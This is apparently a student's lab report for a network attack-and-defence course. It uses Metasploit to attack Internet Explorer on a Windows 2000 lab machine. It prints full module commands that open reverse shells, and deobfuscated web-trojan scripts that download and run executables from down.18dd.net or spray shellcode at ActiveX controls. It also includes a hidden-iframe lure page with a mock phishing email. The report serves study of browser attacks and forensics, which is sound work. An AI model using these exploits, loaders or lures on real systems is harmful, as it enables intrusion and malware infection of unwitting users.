20252902 2025-2026-2 《网络攻防实践》第11周作业

1. 实践内容

本次实践围绕 Web 浏览器渗透攻击、网页木马取证分析和浏览器端攻防对抗展开。

第一部分是 Web 浏览器渗透攻击。实验中使用 Kali 攻击机和 Windows 靶机,通过 Metasploit 构造针对 Internet Explorer 的恶意网页,靶机浏览器访问该网页后,攻击机尝试获得远程 Shell 会话。

第二部分是网页木马攻击场景取证分析。从 start.html 开始追踪后续页面和脚本,对解密出的文件地址计算 32 位 MD5,再根据散列值下载对应文件。若文件为网页或脚本,则继续解混淆和解密;若文件为二进制程序,则通过静态反汇编或动态调试分析其行为。

第三部分是 Web 浏览器渗透攻击攻防对抗。攻击方构造并混淆挂马链接,防守方提取链接、恢复代码、判断漏洞类型,理解浏览器端漏洞利用与防护思路。

2. 实践过程

2.1 Web 浏览器渗透攻击

名称 虚拟机 IP 地址
攻击机 Kali,主机名 lujinyu 192.168.190.130
靶机 Win2kServer 192.168.190.131

首先在 Windows 靶机中查看 IP 地址并 ping 攻击机,确认靶机地址为 192.168.190.131,可以连通 Kali 攻击机 192.168.190.130

在 Kali 中查看网络配置,确认攻击机 eth0 地址为 192.168.190.130,并 ping 靶机 192.168.190.131 验证连通性。终端提示符显示主机名为 lujinyu

启动 Metasploit 框架控制台:

msfconsole

搜索 MS06-014 相关模块,在结果中可以看到 exploit/windows/browser/ie_createobject 模块。

search MS06-014

加载 IE CreateObject 漏洞利用模块:

use exploit/windows/browser/ie_createobject

设置反向 Shell 载荷、攻击机监听地址,并记录靶机地址。该浏览器攻击模块需要靶机主动访问恶意 URL,因此核心参数是 LHOST 和服务端 URL。

set payload generic/shell_reverse_tcp
set LHOST 192.168.190.130
set RHOST 192.168.190.131

运行模块后,Metasploit 提示开始在攻击机上监听并生成恶意页面地址:

run

实验中最终生成的访问地址为:

http://192.168.190.130:8080/QOd5aJLyLtP11Q

在 Windows 靶机的 Internet Explorer 中访问该 URL,页面返回随机字符串,说明靶机已经访问到攻击机提供的恶意页面。

返回 Kali 查看 Metasploit 控制台,可以看到靶机访问后建立了 shell 会话。

进入第 1 个会话:

sessions -i 1

会话中显示 Microsoft Windows 2000 [Version 5.00.2195],说明已经进入靶机命令行环境。

在远程 Shell 中执行 ipconfig,回显的地址为 192.168.190.131,与靶机 IP 一致,说明 MS06-014 浏览器渗透攻击成功。

2.2 网页木马攻击场景取证分析

start.html 放入 Windows 分析环境,用记事本打开后可以看到页面中包含大量脚本逻辑。

使用查找功能搜索 new09.htm,定位到后续页面地址,说明 start.html 会继续引导浏览器访问 new09.htm

根据后续页面线索,计算两个可疑 URL 的 MD5 值:

URL 32 位 MD5
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3

在实验压缩包的 hashed 目录中查找相应散列文件。23180a42a2ff1192150231b44ffdf3d3 文件内容提示其为流量统计代码,并非木马核心。

继续打开 7f60672dcd6b5e90b6772545ee219bd3 文件,可以看到其内容是混淆后的 JavaScript。

分析代码中出现的 xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'),可判断该文件经过 Base64 与 XXTEA 加密,密钥的十六进制转字符串结果为 script

使用 XXTEA 工具以 script 为密钥进行解密,得到以 \x.. 形式表示的脚本内容。

将十六进制转为文本后,恢复出的核心逻辑如下:

function init(){ document.write(); }
window.onload = init;

if(document.cookie.indexOf('OK') == -1){
    try{
        var e;
        var ado = document.createElement("object");
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as = ado.createobject("Adodb.Stream","");
    } catch(e) {}
    finally{
        if(e != "[object Error]"){
            document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>");
        } else {
            try{ var f; var storm = new ActiveXObject("MPS.StormPlayer"); } catch(f) {}
            finally{
                if(f != "[object Error]"){
                    document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>");
                }
            }
            try{ var g; var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"); } catch(g) {}
            finally{
                document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>");
            }
            try{ var h; var obj = new ActiveXObject("BaiduBar.Tool"); } catch(h) {}
            finally{
                if(h != "[object Error]"){
                    obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);
                }
            }
        }
    }
}

该脚本会根据 IE 中存在的 ActiveX 控件选择不同攻击分支,主要涉及:

组件或漏洞点 后续资源
Adodb.Stream http://aa.18dd.net/aa/1.js
暴风影音 MPS.StormPlayer http://aa.18dd.net/aa/b.js
PPS POWERPLAYER.PowerPlayerCtrl.1 http://aa.18dd.net/aa/pps.js
百度工具栏 BaiduBar.Tool http://down.18dd.net/bb/bd.cab

继续对后续资源计算 MD5:

URL 32 位 MD5
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

打开 5d7e9058a857aa2abee820d5473c5fa4 后,可以看到该脚本使用 eval 和转义编码进行混淆。

使用 Packed/转义解密后,恢复出的脚本会下载并执行 014.exe

var url = "http://down.18dd.net/bb/014.exe";
try{
    var xml = ado.CreateObject("Microsoft.XMLHTTP","");
    xml.Open("GET", url, 0);
    xml.Send();
    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();
    var shell = ado.createobject("Shell.Application","");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
}catch(e){}

打开 3870c28cc279d457746b3796a262f166 文件后,同样发现 Packed 混淆痕迹。

解密后可见其核心是针对暴风影音 ActiveX 控件的栈溢出利用:通过构造 NOP 滑板、ShellCode 和长缓冲区,调用 storm.rawParse(buffer) 触发漏洞,随后下载并运行恶意程序。

打开 5f0b8bf0385314dbe0e5ec95e6abedc2 后,内容以八进制编码表示。

将八进制转换为文本后,可以看到它创建 PPS 播放器 ActiveX 对象,并给 pps.Logo 赋予超长数据触发漏洞:

pps = document.createElement("object");
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458");
var shellcode = unescape("...");
var bigblock = unescape("%u9090%u9090");
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = "";
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer;

最后分析 bd.cab,在 original 目录中打开压缩包可以看到其中包含 bd.exe

使用 IDA 打开 bd.exe,在导入表和字符串窗口中可以看到 CreateFileAWriteFileWinExec 等行为相关 API,以及多个 http://down.18dd.net/kl/ 下载地址。由此判断 bd.exe 是下载器木马,会继续从远程地址下载并执行多个恶意程序。

2.3 Web 浏览器渗透攻击攻防对抗

名称 虚拟机 IP 地址
攻击机 Kali,主机名 lujinyu 192.168.190.130
靶机 Win2kServer 192.168.190.131

再次在 Kali 中 ping 靶机,确认攻防对抗实验环境仍然连通。

2.3.1 构造第一个浏览器漏洞:MS06-055

选择 exploit/windows/browser/ms06_055_vml_method 模块,设置监听端口、访问路径和反向 Shell 端口:

msfconsole
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.190.130
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j

生成的第一个恶意 URL 为:

http://192.168.190.130:8081/ms06055

靶机访问该 URL 后,Metasploit 显示 Command shell session 1 opened,说明 MS06-055 利用成功。

进入会话后执行 ipconfig,确认远程 Shell 来自 192.168.190.131 靶机。

2.3.2 构造第二个浏览器漏洞:MS06-014

新开终端后继续选择 exploit/windows/browser/ie_createobject 模块,端口和路径与 MS06-055 区分开:

msfconsole
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.190.130
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j

生成的第二个恶意 URL 为:

http://192.168.190.130:8082/ms06014

靶机访问 URL 后,Metasploit 显示发送 exploit HTML 和 EXE payload,并打开命令行会话。

再次执行 ipconfig,返回的 IP 为 192.168.190.131,说明第二个漏洞利用也成功。

2.3.3 混淆并组装统一入口 URL

为了不在邮件中直接暴露真实漏洞路径,将两个恶意 URL 转为十六进制字符串:

原始 URL 十六进制编码
http://192.168.190.130:8081/ms06055 68 74 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 39 30 2E 31 33 30 3A 38 30 38 31 2F 6D 73 30 36 30 35 35
http://192.168.190.130:8082/ms06014 68 74 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 39 30 2E 31 33 30 3A 38 30 38 32 2F 6D 73 30 36 30 31 34

在 Kali 上启动 Apache 服务,并确认服务处于 active (running) 状态。

sudo systemctl start apache2
sudo systemctl status apache2

创建统一入口页面 /var/www/html/ljy/20252902.html。该页面看起来像普通的浏览器兼容性测试页面,实际会把十六进制字符串还原为真实漏洞 URL,再通过隐藏 iframe 同时加载两个利用页面。

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>

</head>

<body>
<h3>浏览器兼容性测试页面</h3>

<p>正在加载实验资源,请稍候 ...</p>

<script>
function hex2str(hex) {
    var str = "";
    hex = hex.replace(/\s+/g, "");
    for (var i = 0; i < hex.length; i += 2) {
        str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
    }
    return str;
}

function loadWithWrite(url) {
    document.write('<iframe src="' + url + '" width=1 height=1 style="display:none"></iframe>');
}

var url1 = "687474703A2F2F3139322E3136382E3139302E3133303A383038312F6D733036303535";
var url2 = "687474703A2F2F3139322E3136382E3139302E3133303A383038322F6D733036303134";

loadWithWrite(hex2str(url1));
loadWithWrite(hex2str(url2));
</script>

</body>

</html>

统一入口 URL 为:

http://192.168.190.130/ljy/20252902.html

模拟欺骗性邮件内容如下:

主题:浏览器兼容性测试实验通知

同学你好:
本次上机需要完成浏览器兼容性验证实验,请在实验靶机 IE 浏览器访问下方测试页面,
对照页面提示完成相关测试任务:

http://192.168.190.130/ljy/20252902.html

该地址为实验内网专用链接,仅限课堂靶机环境访问使用。

Copyright © 20252902 lujinyu. All Rights Reserved.

在靶机中访问统一入口页面。

使用 Wireshark 抓包,可以看到靶机发出了对 /ms06055/ms06014 的 HTTP GET 请求,说明两个隐藏 iframe 均被加载。

2.3.4 防守方分析

防守方查看入口页面源码后,可以发现页面中存在 hex2str 函数和两段十六进制字符串。

将十六进制字符串转换回文本后,可以恢复出真实漏洞利用地址:

http://192.168.190.130:8081/ms06055
http://192.168.190.130:8082/ms06014

结合路径名和 Metasploit 模块特征,可以判断该挂马入口封装了两个浏览器漏洞:

恢复出的路径 漏洞类型 攻击目标
/ms06055 MS06-055 VML Fill Method Code Execution Internet Explorer VML 组件漏洞
/ms06014 MS06-014 CreateObject Code Execution Internet Explorer ActiveX/CreateObject 相关漏洞

3. 实验中遇到的问题及解决

问题一:在使用 ie_createobject 模块时输入 set RHOST 192.168.190.131 后,Metasploit 提示 Unknown datastore option: RHOST
原因是该模块属于浏览器客户端攻击模块,攻击方不是主动连接靶机服务,而是启动 Web 服务等待靶机浏览器访问。因此实验中应重点设置 LHOSTSRVPORTURIPATH 等参数,并让靶机 IE 主动访问生成的 URL。

问题二:统一入口页面需要同时触发两个漏洞页面。若将 document.write 放在 window.onload 回调中,浏览器在第一个漏洞页面触发异常后可能中断后续脚本,导致第二个 iframe 没有发出请求。
解决方法是将两个 document.write 放在页面解析阶段连续执行,使两个隐藏 iframe 尽早被创建。最终通过 Wireshark 看到 /ms06055/ms06014 均被请求,说明该方案有效。

问题三:网页木马取证中遇到多层混淆,包括 Base64、XXTEA、Packed、十六进制和八进制编码。
解决方法是先识别加密函数和密钥,再按调用链逐层还原。7f60672d... 文件中的 XXTEA 密钥由 \x73\x63\x72\x69\x70\x74 转换得到,为 script;后续脚本再分别用 Packed 解密、十六进制转文本、八进制转文本等方式恢复。

4. 学习感想与体会

本次实验把浏览器端攻击、挂马取证和攻防对抗串成了一条完整链路。第一部分让我理解了客户端漏洞利用与传统服务端攻击的区别:攻击者需要搭建恶意页面,等待靶机浏览器访问后才会获得会话。

取证部分最能体现耐心和思路的重要性。网页木马并不是一眼就能看到恶意逻辑,而是通过多层编码和混淆隐藏真实下载地址。按 start.htmlnew09.htm、散列文件、后续脚本、二进制程序的顺序逐层追踪后,才能看清它利用 ActiveX 控件探测环境、分支加载脚本、下载木马的完整攻击链。

攻防对抗部分让我认识到,攻击方可以通过统一入口、十六进制编码和隐藏 iframe 隐蔽真实漏洞地址;但防守方只要查看源码、还原编码并结合抓包结果,仍然能够定位到 /ms06055/ms06014 两条真实利用路径。这个过程也说明,防护不能只依赖表面 URL 检查,还需要结合代码审计、流量分析和浏览器安全配置进行综合判断。

posted @ 2026-06-17 12:12  lujinyu  阅读(4)  评论(0)    收藏  举报